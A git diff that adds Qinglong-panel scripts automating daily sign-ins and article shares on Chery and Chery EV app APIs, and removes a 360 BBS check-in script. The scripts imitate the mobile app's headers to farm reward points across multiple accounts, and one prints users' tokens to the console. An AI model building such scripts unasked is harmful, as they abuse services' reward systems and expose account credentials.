+ "accept-encoding": "gzip, deflate",
+ "host": "mobile-consumer-sapp.chery.cn",
+ "content-type": "application/json; charset=UTF-8",
+ "agent": "android",
+ "request-channel": "app",
+ },
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.status == 200) {
+ $.DoubleLog(`✅账号[${this.index}] 【获取文章】[${result.message}]🎉`);
+ this.articleIdList = [result.data.data[0].content.id, result.data.data[1].content.id]
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 【获取文章】[${result.message}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async task_share(articleId) {
+
+ try {
+ let options = {
+ url: `https://mobile-consumer-sapp.chery.cn//web/community/contents/${articleId}/share?access_token=${this.ck}&terminal=3`,
+ headers: {
+ "user-agent": "Dart/2.17 (dart:io)",
+ "accept": "application/json, text/plain, */*",
+ "appversion": `2.17.6 (stable) (Tue Jul 12 12:54:37 2022 +0200) on "android_arm64"`,
+ "accept-language": "zh-CN,zh;q=0.9",
+ "accept-encoding": "gzip, deflate",
+ "host": "mobile-consumer-sapp.chery.cn",
+ "content-type": "application/json; charset=UTF-8",
+ "agent": "android",
+ "request-channel": "app",
+ },
+ body: JSON.stringify({ "contentId": articleId })
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.status == 200) {
+ $.DoubleLog(`✅账号[${this.index}] 【分享】[${result.message}]🎉`);
+ } else {
+ $.DoubleLog(`❌账号[${this.index}] 【分享】[${result.message}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+}
+
+async function start() {
+ //await _getVersion();
+ //await _getNotice();
+ let taskall = [];
+ for (let user of $.userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if ($.userList.length > 0) {
+ await start();
+ } await $.SendMsg($.message);
+})().catch((e) => console.log(e)).finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ //let userCount = 0;
+ if (userCookie) {
+ // console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && $.userList.push(new UserInfo(n));
+ //userCount = $.userList.length;
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${$.userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, timeout = 1 * 1000) {
+ method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get";
+ return new Promise(resolve => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try { data = JSON.parse(data); } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ })
+ }, timeout)
+ })
+}
+/**
+ * 获取远程版本
+ */
+async function _getVersion() {
+ const options = { url: JSConfig.jsUrl };
+ let httpResult = await httpRequest(options)
+ const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/;
+ const match = httpResult.match(regex);
+ const scriptVersionLatest = match ? match[2] : "";
+ $.DoubleLog(`\n====== 当前版本:${scriptVersionNow} 📌 最新版本:${scriptVersionLatest} ======`);
+}
+/**
+ * 获取远程通知
+ */
+async function _getNotice() {
+ const options = { url: JSConfig.noticeUrl };
+ let httpResult = await httpRequest(options)
+ const notice = httpResult.notice.replace(/\\n/g, "\n");
+ $.DoubleLog(notice);
+}
+// ==================== API ==================== //
+function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.userList = []; this.userIdx = 0; this.message = ""; this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.encoding = "utf-8", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise(s => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r }; this.post(n, (t, e, a) => s(a)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? "null" === i ? null : i || "{}" : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), a) } catch (e) { const i = {}; this.lodash_set(i, r, t), s = this.setval(JSON.stringify(i), a) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return this.data = this.loaddata(), this.data[t]; default: return this.data && this.data[t] || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0; default: return this.data && this.data[e] || null } } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { switch (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), t.params && (t.url += "?" + this.queryStr(t.params)), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: a, statusCode: r, headers: i, rawBody: o } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = (() => { })) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch (t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && (s.body = a, s.statusCode = s.status ? s.status : s.statusCode, s.status = s.statusCode), e(t, s, a) }); break; case "Quantumult X": t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o }, i, o) }, t => e(t && t.error || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then(t => { const { statusCode: s, statusCode: r, headers: i, rawBody: o } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, t => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), e += `${s}=${a}&`) } return e = e.substring(0, e.length - 1), e } msg(e = t, s = "", a = "", r) { const i = t => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise(e => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); this.message += `\n ${d}` } } else { console.log(`${d}`); this.message += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; switch (this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } }(t, e) }
+//Env rewrite:smallfawn Update-time:23-07-26 newAdd:DoubleLog & SendMsg & ChangeMessage
\ No newline at end of file
diff --git a/cheryev.js b/cheryev.js
new file mode 100644
index 00000000..e469e208
--- /dev/null
+++ b/cheryev.js
@@ -0,0 +1,135 @@
+/**
+ * cron 5 15 * * * V3.js
+ * Show:
+ * 变量名:cheryev
+ * 变量值:midend.icar-ecology.com Headers中 token的值 多账号换行或者 @ 分隔
+ */
+
+const $ = new Env("奇瑞Ev");
+const ckName = "cheryev";
+let envSplitor = ["@", "\n"]; //多账号分隔符
+let strSplitor = "&"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class UserInfo {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ }
+ async main() {
+ await this.user_info();
+ }
+ async user_info() {
+ try {
+ let options = {
+ url: `https://midend.icar-ecology.com/credits/task/app/v1/attendance`,
+ headers: {
+ "app": "cheryev",
+ "authorization": `Bearer ${this.ck}`,
+ "app-v": "2.9.0",
+ //"uid": "1721053872548581377",
+ "net-type": "wifi",
+ "lng": 0.00,
+ "channel": 2,
+ "dev-id": "29f8b4555e18235b6b1ef94fa59541f7a",
+ "platform": 7,
+ "dev-model": "MI8Lite",
+ "lat": 0.00,
+ "token": `${this.ck}`,
+ "Content-Length": 0,
+ "Host": "midend.icar-ecology.com",
+ "Connection": "Keep-Alive",
+ "Accept-Encoding": "gzip",
+ "User-Agent": "okhttp/4.10.0"
+ },
+ body: JSON.stringify({})
+ },
+ result = await httpRequest(options);
+ //console.log(options);
+ //console.log(result);
+ if (result.data.success == true) {
+ console.log(`✅账号[${this.index}] 签到成功 => 获得${result.data.rewardPoints}🎉`);
+ } else {
+ console.log(`❌账号[${this.index}] 签到 => 失败`);
+ console.log(JSON.stringify(result));
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+}
+
+async function start() {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(await user.main());
+ }
+ }
+ await Promise.all(taskall);
+}
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ await start();
+ }
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ console.log(userCookie);
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n));
+ } else {
+ console.log("未找到CK");
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+
+/////////////////////////////////////////////////////////////////////////////////////
+function httpRequest(options, timeout = 5 * 1000) {
+ method = options.method
+ ? options.method.toLowerCase()
+ : options.body
+ ? "post"
+ : "get";
+ return new Promise((resolve) => {
+ setTimeout(() => {
+ $[method](options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(JSON.stringify(err));
+ $.logErr(err);
+ } else {
+ try {
+ data = JSON.parse(data);
+ } catch (error) { }
+ }
+ } catch (e) {
+ console.log(e);
+ $.logErr(e, resp);
+ } finally {
+ resolve(data);
+ }
+ });
+ }, timeout);
+ });
+}
+// prettier-ignore
+function Env(t, s) { return new (class { constructor(t, s) { (this.name = t), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.logSeparator = "\n"), (this.startTime = new Date().getTime()), Object.assign(this, s), this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } getScript(t) { return new Promise((s) => { this.get({ url: t }, (t, e, i) => s(i)) }) } runScript(t, s) { return new Promise((e) => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); const [h, a] = i.split("@"), r = { url: `http://${a}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: o }, headers: { "X-Key": h, Accept: "*/*" }, }; this.post(r, (t, s, i) => e(i)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s); if (!e && !i) return {}; { const i = e ? t : s; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), s = this.path.resolve(process.cwd(), this.dataFile), e = this.fs.existsSync(t), i = !e && this.fs.existsSync(s), o = JSON.stringify(this.data); e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o) } } lodash_get(t, s, e) { const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); let o = t; for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; return o } lodash_set(t, s, e) { return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), t)[s[s.length - 1]] = e), t) } getdata(t) { let s = this.getval(t); if (/^@/.test(t)) { const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), o = e ? this.getval(e) : ""; if (o) try { const t = JSON.parse(o); s = t ? this.lodash_get(t, i, "") : s } catch (t) { s = "" } } return s } setdata(t, s) { let e = !1; if (/^@/.test(s)) { const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), h = this.getval(i), a = i ? ("null" === h ? null : h || "{}") : "{}"; try { const s = JSON.parse(a); this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)) } catch (s) { const h = {}; this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)) } } else e = this.setval(t, s); return e } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null } setval(t, s) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, s = () => { }) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }) : this.isQuanX() ? $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, s) => { try { const e = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(e, null), (s.cookieJar = this.ckjar) } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h, } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t))) } post(t, s = () => { }) { if ((t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), delete t.headers["Content-Length"], this.isSurge() || this.isLoon())) $httpClient.post(t, (t, e, i) => { !t && e && ((e.body = i), (e.statusCode = e.status)), s(t, e, i) }); else if (this.isQuanX()) (t.method = "POST"), $task.fetch(t).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: e, ...i } = t; this.got.post(e, i).then((t) => { const { statusCode: e, statusCode: i, headers: o, body: h } = t; s(null, { status: e, statusCode: i, headers: o, body: h }, h) }, (t) => s(t)) } } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))); return t } msg(s = t, e = "", i = "", o) { const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : "string" == typeof t ? this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : void 0 : "object" == typeof t && (t["open-url"] || t["media-url"]) ? this.isLoon() ? t["open-url"] : this.isQuanX() ? t : void 0 : void 0; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), this.logs.push("", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="), this.logs.push(s), e && this.logs.push(e), i && this.logs.push(i) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } })(t, s) }
diff --git a/cookies/gqft.json b/cookies/gqft.json
new file mode 100644
index 00000000..e958cdb8
--- /dev/null
+++ b/cookies/gqft.json
@@ -0,0 +1,8 @@
+[
+ {
+ "acToken": "",
+ "rtToken": "",
+ "enData":"",
+ "enKey":""
+ }
+]
diff --git a/daily/360.py b/daily/360.py
deleted file mode 100644
index 09d45fec..00000000
--- a/daily/360.py
+++ /dev/null
@@ -1,149 +0,0 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-# 作者: 青龙面板适配
-# 说明: 360社区自动签到脚本(青龙面板专用)
-# 依赖: requests
-# new Env("360社区签到")
-# 用法: 在青龙面板环境变量中设置 BBS360_COOKIE
-# 请确保Cookie包含 __cfduid, uid 等必要字段
-
-import os
-import re
-import time
-import random
-import requests
-from dataclasses import dataclass
-from typing import Optional, Tuple
-
-SIGN_PAGE = "https://bbs.360.cn/dsu_paulsign-sign.html"
-SIGN_API = "https://bbs.360.cn/plugin.php?id=dsu_paulsign:sign&operation=qiandao&infloat=1&inajax=1"
-
-@dataclass
-class CheckinResult:
- ok: bool
- status: str
- detail: str
-
-class BBS360Checkin:
- """360社区签到客户端(青龙面板适配)"""
- def __init__(self, cookie: str, timeout: int = 20):
- self.cookie = cookie.strip()
- self.timeout = timeout
- self.session = requests.Session()
- self.session.headers.update({
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0 Safari/537.36",
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- "Accept-Language": "zh-CN,zh;q=0.9",
- "Connection": "keep-alive",
- "Cookie": self.cookie,
- "Referer": "https://bbs.360.cn/",
- })
-
- def fetch_formhash(self) -> Tuple[Optional[str], str]:
- """拉取签到页并提取 formhash"""
- resp = self.session.get(SIGN_PAGE, timeout=self.timeout, allow_redirects=True)
- text = resp.text or ""
-
- # 青龙面板特殊处理:如果返回403,可能是需要验证
- if resp.status_code == 403:
- return None, "403 Forbidden(可能需要绑定手机号)"
-
- # 未登录/未绑定手机号时提示
- if "您需要先登录才能继续本操作" in text or "请使用手机微信扫码安全登录" in text:
- return None, "未登录或账号未绑定手机号(需在360社区绑定手机号)"
-
- # 提取 formhash
- m = re.search(r'formhash=([0-9a-zA-Z]{6,})', text)
- if not m:
- m = re.search(r'name="formhash"\s+value="([0-9a-zA-Z]{6,})"', text)
-
- if not m:
- return None, "未解析到 formhash(页面结构可能变更)"
-
- return m.group(1), "OK"
-
- def submit_checkin(self, formhash: str) -> CheckinResult:
- """提交签到请求"""
- moods = ["kx", "ym", "tp", "ng", "wl"]
- payload = {
- "formhash": formhash,
- "qdxq": random.choice(moods),
- "qdmode": "1",
- "todaysay": random.choice([
- "打卡签到,愿一切顺利!",
- "新的一天,继续加油~",
- "保持热爱,奔赴山海。",
- "今日签到,万事胜意。",
- "坚持自律,慢慢变强。",
- ]),
- "fastreply": "0",
- }
-
- resp = self.session.post(SIGN_API, data=payload, timeout=self.timeout)
- raw = resp.text or ""
-
- # 青龙面板特殊处理:返回403或500
- if resp.status_code != 200:
- return CheckinResult(False, f"http_{resp.status_code}", f"HTTP {resp.status_code}")
-
- # 检查签到结果
- if "签到成功" in raw or ("恭喜" in raw and "签到" in raw):
- return CheckinResult(True, "success", self._extract_message(raw) or "签到成功")
- if "已经签到" in raw or "已签到" in raw or "请勿重复签到" in raw:
- return CheckinResult(True, "already", self._extract_message(raw) or "今日已签到")
- if ("formhash" in raw and "错误" in raw) or "请求无效" in raw:
- return CheckinResult(False, "bad_formhash", self._extract_message(raw) or "formhash无效/过期")
-
- return CheckinResult(False, "unknown", self._extract_message(raw) or raw[:200])
-
- @staticmethod
- def _extract_message(text: str) -> str:
- """提取提示信息"""
- m = re.search(r"showmessage\('([^']+)'\)", text)
- if m:
- return m.group(1)
-
- m = re.search(r"([^\n\r]{0,20}(签到|已签到|重复签到)[^\n\r]{0,40})", text)
- if m:
- return m.group(1)
-
- return ""
-
- def run(self) -> CheckinResult:
- formhash, info = self.fetch_formhash()
- if not formhash:
- return CheckinResult(False, "no_login_or_parse_failed", info)
-
- time.sleep(random.uniform(1.0, 2.5))
- return self.submit_checkin(formhash)
-
-def main():
- # 青龙面板专用:从环境变量获取Cookie
- cookie = os.getenv("BBS360_COOKIE", "").strip()
-
- if not cookie:
- print("❌ 未设置环境变量 BBS360_COOKIE")
- print("💡 请在青龙面板 → 环境变量 → 添加以下内容:")
- print(" KEY: BBS360_COOKIE")
